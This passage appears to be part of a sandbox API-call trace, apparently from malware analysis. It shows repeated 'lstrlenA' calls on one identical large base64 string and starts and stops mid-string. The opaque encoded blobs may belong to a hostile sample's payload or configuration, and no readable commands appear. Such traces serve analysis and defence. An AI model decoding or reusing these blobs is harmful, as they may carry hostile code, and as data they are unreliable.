jp0fhsiYgvxTAZjIEMbkfNY9cGALR19UbJLEkZe7Yil0deqNMaHMCDwCAxKwFYaauZfp27catSyvvs0Tey9P6BH2foj6Y088YmPaqA5Lsv2dvGyE09CN6Cn+pn8EybUhaH7/6iqTgubM7VsIb1AYNHuKrhTiUg+/fj8lmsNFR4mVfo8AHRSoBmn5FGaUVB46b8PyalJolBNElJB91ekBM3D8AsLEPHxMAbGc/nG9VIcSBOtKCKrxcuPHz/+bvav3V5kMpSPyc/sWbEx7MZiqwYimRkPbKitVtcj/N0CMbWtNTc7ISxvdCxAB8Bks7cZ1Xn7lmzQUxLwylQA4XMJXrwDHE5Zz2QFlxQ1fi5j/nrBWwnQIW85rfG49k5exqhlyQvfVIcoeiWuX2t869wj4ZLI0LO+WycAWIsBCB3HlAGf6xvPsRFArGcoANLPskqEMRwwScf19bIVKI9Phrfq+XEyHllSE1IfVMydxPX9sfRmXFLP4z6f5qZGTMc8e8cGwqAYSes4j5zawjYB0HETHpuwUi4QIJvve0OaJKd+w/KSObipMao2YbIVhUm9c9dnDyDmEcBWIPIlf1BE+cLR6nsqab3rP2E4uUaVtDlSnwDMk0bpidgrONLyWz2t78BreT1QFmHPiyytUXHRMkNmE7G/IlA7NHJldZptETcMq98GD/XmpliedFh3Vm1nPys1N63QdWz2u0ApfgYkNYQI1ZNRDBmRAo9cc/49Jkh6Na4knxVZIthDsC205K+qv1aqXJ6wZ9B3TiYhmGoIjsjlGeKF7nXbztIBEGGtp790iPZvb6hnurXNZaHbiuixr33SPO6yK6o+G/eGA+KeHmp4jm+NwBuL4P1hc2clVcHMLne0fe2Mi+uYSM2beBLczVL1AkgReqT0lUToaOjgIUGAswuOzlQagLxuxiYWkj4M5YkbOtsAY3DAT1q1b44cIvlVZz/fW6yfeaPR1nPj0vJ653chI+qoKnh9h4NGN1gOvH7z9Gvao+Z2YCIfPXCT3Oq5uB/gUNIfWtxXsBntxUcRPONWpADjWWTjhqO6xPN9mcRCh6LSbWaazGC+oHawwVAZjhVu2LUiuq9a76xZM9XDVUDnBZKQtJqsRlkfQ4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.637] lstrlenA (lpString="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") returned 5820
	[0084.637] lstrlenA (lpString="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") returned 5820
	[0084.637] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNq